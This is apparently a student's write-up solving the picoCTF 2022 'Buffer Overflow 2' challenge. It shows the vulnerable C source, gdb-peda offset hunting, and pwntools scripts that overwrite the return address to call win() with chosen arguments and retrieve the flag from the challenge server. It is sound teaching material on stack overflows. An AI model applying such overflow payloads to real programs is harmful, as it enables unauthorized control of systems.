


Buffer Overflow 2

picoCTF 2022 challenges - Link to the challenge

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


- We get a binary, a source file and a server to connect to.
- We analyze the binary in Ghidra to see the flow of the program and the functions that will help us in exploitation.
 - Or we can directly view the source code file.
- First, lets check the details of the binary.

- It is a 32-bit binary and hence, we will be using 4 byte increments in our attempt to pwn the binary.
- It also doesnt have a canary but the stack is non executable.
 - Hence, we can't input our shellcode and transfer the control of the eip pointer to this code.
- But, we see we have a win() function that we will try to transfer the control to.

```
X
C vuln.c
D: > NYU > Sem_2 > OffSec > buffer_overflow_2 > C vuln.c
      #include <stdio.h>
      #include <stdlib.h>
      #include <string.h>
      #include <unistd.h>
      #include <sys/types.h>
      #define BUFSIZE 100
      #define FLAGSIZE 64
      void win(unsigned int arg1, unsigned int arg2) {
 10
        char buf[FLAGS1ZE];
 11
 12
        FILE *f = fopen("flag.txt","r");
 13
        if (f == NULL) {
          printf("%s %s", "Please create 'flag.txt' in this directory with your",
                          "own debugging flag.\n");
          exit(0);
        fgets(buf,FLAGSIZE,f);
        if (arg1 != 0xCAFEF00D)
         return;
        if (arg2 != 0xF00DF00D)
         return;
        printf(buf);
      void vuln(){
       char buf[BUFSIZE];
       gets(buf);
       puts(buf);
      int main(int argc, char **argv){
        setvbuf(stdout, NULL, _IONBF, 0);
        gid_t gid = getegid();
        setresgid(gid, gid, gid);
        puts("Please enter your string: ");
        vuln();
        return 0;
```

- We see that the main function asks for a string and passes the control to function vuln().
- vuln() has a gets() function which we have studied to be vulnerable to buffer overflow.
- It accepts user-sized input and tries to fit it in the buffer variable.
- We know the buffer size is 100, so we try to overflow the program with an input of 150 to check if we get a segfault.



- We get a segmentation fault because of the buffer overflow overwriting important values.
- · We can check this in gdb.

- We can see that the eip (instruction pointer) has been overwritten and program crashes.
- · Hence, we can control the flow of the program using our input string.
- But, we need to find the offset where the
 (input + previous frame pointer) = offset + return address is placed.
- We can do that by creating a unique *pattern* which is a feature of gdb-peda
- We can give this pattern as the input and then input the \$eip value after the program stops to the same pattern module to get the offset.

gdb-peda\$ pattern offset 'AA8A' AA8A found at offset: 112

- We see that the offset is 112. Hence, the value in input_string[112:116] will have the return address that we need to control.
- We want to direct the control to the win() function, hence, we will find the address

of this function and then pack this into a 32bit address using pwntools and then input this to the binary.

```
0x08049290 frame_dummy

0x08049296 win

0x08049338 vuln

0x08049372 main
```

- We write a simple python script using pwntools (thanks to the offsec course)
- We pack the win() address as specified and append it to the offset.
- We send this payload to the binary as user input and print the response.

```
pyscript.py
                 untitled
    from pwn import
    p = process('./vuln')
    # p = remote('saturn.picoctf.net', 54731)
 5
    ret add = p32(0x08049296)
 6
    payload = b'A'*112 + ret_add
8
    print(payload)
 9
    p.sendline(payload)
10
    print(p.recv())
11
    p.interactive()
12
```

- The output says that there is no flag in the local version.
- Hence, without seeing the win() function, I tried this on the remote site thinking that it will have a flag.txt and give us the flag contents.
- We do this by making changes to the code, uncommenting the remote part.

- But, we did not get the flag. This means there is more to the win() function than just redirecting control.
- Checking the win() function, we can see that there is comparison of the parameter values.

```
10
     void win(unsigned int arg1, unsigned int arg2)
11
       char buf[FLAGSIZE];
12
       FILE *f = fopen("flag.txt","r");
       if (f == NULL) {
         printf("%s %s", "Please create 'flag.txt' in this directory with your",
                          "own debugging flag.\n");
         exit(0);
       fgets(buf,FLAGSIZE,f);
       if (arg1 != 0xCAFEF00D)
         return;
       if (arg2 != 0xF00DF00D)
         return;
       printf(buf);
```

- We need to match these values in order to print the flag.
- Hence, continuing locally, I made 2 more files.
 - 1. flag.txt: containing a dummy flag for debugging
 - 2. badfile: to give input during gdb -> gdb-peda\$ r < badfile

```
0x080492ee <+88>:
                         sub
                                esp,0xc
   0x080492f1 <+91>:
                         push
                                0x0
   0x080492f3 <+93>:
                         call
                                0x8049130 <exit@plt>
   0x080492f8 <+98>:
                         sub
                                esp,0x4
   0x080492fb <+101>:
                                DWORD PTR [ebp-0xc]
                         push
   0x080492fe <+104>:
                         push
                                0x40
                                eax,[ebp-0x4c]
   0x08049300 <+106>:
                         lea
   0 \times 08049303 < +109>:
                         push
                                eax
                                0x8049100 <fgets@plt>
  0x08049304 <+110>:
                         call
                         add
                                esp.0x10
  0x08049309 <+115>:
                                DWORD PTR [ebp+0x8],0xcafef00d
  0x0804930c <+118>:
                         cmp
   0x08049313 <+125>:
                                0x804932f <win+153>
                         jne
                                DWORD PTR [ebp+0xc],0xf00df00d
   0x08049315 <+127>:
                         cmp
   0x0804931c <+134>:
                         jne
                                0x8049332 <win+156>
  0x0804931e <+136>:
                         sub
                                esp,0xc
                                eax,[ebp-0x4c]
  0x08049321 <+139>:
                         lea
  0x08049324 <+142>:
                         push
                                eax
                                0x80490e0 <printf@plt>
   0x08049325 <+143>:
                         call
                         add
  0x0804932a <+148>:
                                esp,0x10
  0x0804932d <+151>:
                                0x8049333 <win+157>
                         jmp
  0x0804932f <+153>:
                         nop
  0x08049330 <+154>:
                         jmp
                                0x8049333 <win+157>
  0x08049332 <+156>:
                         nop
                                ebx, DWORD PTR [ebp-0x4]
  0x08049333 <+157>:
                         mov
  0x08049336 <+160>:
                         leave
   0x08049337 <+161>:
                         ret
End of assembler dump.
          b *win+115
Breakpoint 1 at 0x8049309
 sesh] 0:gdb* 1:zsh-
```

- We disassemble the win() function to take a deeper look.
- We set a breakpoint before the comparison takes place to check the values that are being held in these parameters.

```
0x8049303 <win+109>: push
                                eax
   0x8049304 <win+110>:
   0x8049309 <win+115>: add
                                esp,0x10
                                DWORD PTR
                                            [ebp+0x8]
                                                     ,0xcafef00d
  0x804930c <win+118>: cmp
   0x8049313 <win+125>:
   0x8049315 <win+127>:
                                0x8049332
   0x804931c <win+134>: ine
   0x804931e <win+136>: sub
                                 esp,0xc
0000 | 0xffffd004 ('A' <repeats 12 times>, "flag{offsec letsgoo}\n")
     0xffffd008 ("AAAAAAAAflag{offsec letsgoo}\n")
0004
     0xffffd00c ("AAAAflag{offsec_letsgoo}\n")
0008
     0xffffd010 ("flag{offsec_letsgoo}\n")
0012
                 ("{offsec_letsgoo}\n")
0016
0020 0xffffd018 ("sec letsgoo}\n")
0024| 0xffffd01c ("letsgoo}\n")
0028| 0xffffd020 ("goo}\n")
           de, data, rodata, value
Legend: co
0x0804930c in win ()
          x/x ebp+0x8
No symbol <u>"ebp" in curre</u>nt context.
          x/x $ebp+0x8
0xffffd064:
                 0x24
         x/s $ebp+0x8
    ffd064:
                 <u>"$\321\</u>377\377,\321\377\377\350\003"
          x/s $ebp+0xc
                 ",\321\377\377\350\0<mark>0</mark>3"
 xffffd068:
```

- we manually examine the hexadecimal value present in the register compared with 0xcafef00d
- we also examine the string it represents and we can see that these values are not something that are a part of our previous input string.
- Hence, in order to control these values, I can think of extending the user input and check if these registers are being affected.
- I added a few 'B's at the end of our input string. (add 'B'*20)

 We echo this string to the badfile and then input it to gdb while running with our breakpoint set

```
Ð
                                                                         tmux new -s sesh
EBP: 0xffffd05c ("AAAA", 'B' <repeats 20 times>)
ESP: 0xffffd004 ('A' <repeats 12 times>, "flag{offsec letsgoo}\n")
               (<win+118>:
                                cmp
                                       DWORD PTR [ebp+0x8],0xcafef00d)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
   0x8049303 <win+109>: push
  0x8049304 <win+110>:
                               esp,0x10
  0x8049309 <win+115>: add
=> 0x804930c <win+118>: cmp
                               DWORD PTR [ebp+0x8],0xcafef00d
  0x8049313 <win+125>: jne
                               0x804932f <win+153>
  0x8049315 <win+127>:
                               0x8049332 <win+156>
  0x804931c <win+134>: jne
  0x804931e <win+136>: sub
                               esp,0xc
0000| 0xffffd004 ('A' <repeats 12 times>, "flag{offsec letsgoo}\n")
0004| 0xffffd008 ("AAAAAAAAflag{offsec letsgoo}\n")
0008 | 0xffffd00c ("AAAAflag{offsec letsgoo}\n")
0012 | 0xffffd010 ("flag{offsec letsgoo}\n")
0016 0xffffd014 ("{offsec letsgoo}\n")
0020 0xffffd018 ("sec letsgoo}\n")
0024| 0xffffd01c ("letsgoo}\n")
0028| 0xffffd020 ("goo}\n")
Legend: code, data, rodata, value
0x0804930c in win ()
         x/s $ebp+0x8
                'B' <repeats 16 times>
         x/s $ebp+0xc
0xffffd068:
                'B' <repeats 12 times>
 sesh] 0:gdb* 1:zsh-
```

- Now, when we examine the string present at the comparison parameter, we see that it is replaced with Bs.
- Hence, the arguements can be controlled with the user input.
- We see 'B' 16 times and we had added 20 Bs which means that the first 4 are not being considered. Hence the offset is 4.
- But we need to confirm this. We can do this similarly using pattern in gdb-peda\$ pattern create 20
- We append this pattern to our previous input:
 'A'*112 + return_add + pattern_string and echo it to the badfile.

Now, running the program with the breakpoint.

```
0x8049303 <win+109>: push
  0x8049304 <win+110>:
  0x8049309 <win+115>: add
                               esp,0x10
=> 0x804930c <win+118>: cmp
                               DWORD PTR [ebp+0x8],0xcafef00d
  0x8049313 <win+125>: jne
                               0x804932f <win+153>
  0x8049315 <win+127>:
                               0x8049332 <win+156>
  0x804931c <win+134>: jne
  0x804931e <win+136>: sub
                               esp,0xc
0000| 0xffffd004 ('A' <repeats 12 times>, "flag{offsec letsgoo}\n")
0004| 0xffffd008 ("AAAAAAAAflag{offsec letsgoo}\n")
0008 | 0xffffd00c ("AAAAflag{offsec letsgoo}\n")
0012 0xffffd010 ("flag{offsec letsgoo}\n")
0016 | 0xffffd014 ("{offsec letsgoo}\n")
0020| 0xffffd018 ("sec letsgoo}\n")
0024| 0xffffd01c ("letsgoo}\n")
0028| 0xffffd020 ("goo}\n")
          de, data, rodata, value
Legend: cc
0 \times 0 804930c in win ()
         x/s $ebp+0x8
0xffffd064:
                "AAsAABAA$AAnAACA"
          pattern offset 'AAsAABAA$AAnAACA'
AAsAABAA$AAnAACA found at offset: 4
         x/s $ebp+0xc
                "ABAA$AAnAACA"
          pattern offset ABAA$AAnAACA
ABAA$AAnAACA found at offset: 8
```

- We see our pattern string and we can find the offset of our unque string at
 \$ebp+0x8 to be 4. lly, at \$ebp+0xc is 8.
- Hence, our input string should be of the form:

```
'A'*112 + win address + 'A'*4 + 0xcafef00d + 0xf00df00d
```

- This way, when the eip is turned to win(), during comparison of \$ebp+8 and \$ebp+12, the correct values will be seen respectively.
- Now, taking all this to our python code, we will try to get the flag on the local binary first.
- The new code will look like the following:

```
pyscript.py
                 untitled
    from pwn import *
    p = process('./vuln')
    # p = remote('saturn.picoctf.net', 59597)
    ret add = p32(0x08049296)
    a1 = p32(0xcafef00d)
    b1 = p32(0xf00df00d)
    payload = b'A'*112 + ret add + b'AAA%' + a1 + b1
    print(payload)
10
11
    p.sendline(payload)
12
13
    print()
  print(p.recvline())
14
    print(p.recvline())
15
    print(p.recvline())
16
```

- Here we keep any 4 characters after the ret_add as they don't matter
- The packing of integers is important for the computer to read these bytes of data properly

```
eg: p32(0xdeadbeef) >> b'\xef\xbe\xad\xde'
```

Running this script, we get our debugger flag properly.

Now, we can take this to the remote server.

```
pyscript.py
               untitled
   from pwn import *
   # p = process('./vuln')
   p = remote('saturn.picoctf.net', 59597)
   ret add = p32(0x08049296)
   a1 = p32(0xcafef00d)
   b1 = p32(0xf00df00d)
   payload = b'A'*112 + ret add + b'AAA%' + a1 + b1
10
   print(payload)
11
12
   p.sendline(payload)
   print()
13
   print(p.recv())
14
15
   print(p.recv())
16
0\r\xf0\rpicoCTF{argum3nt5_4_d4y2_4b24a3aa}' 
[*] Closed connection to saturn.picoctf.net port 59597
```

Hence, PWNED.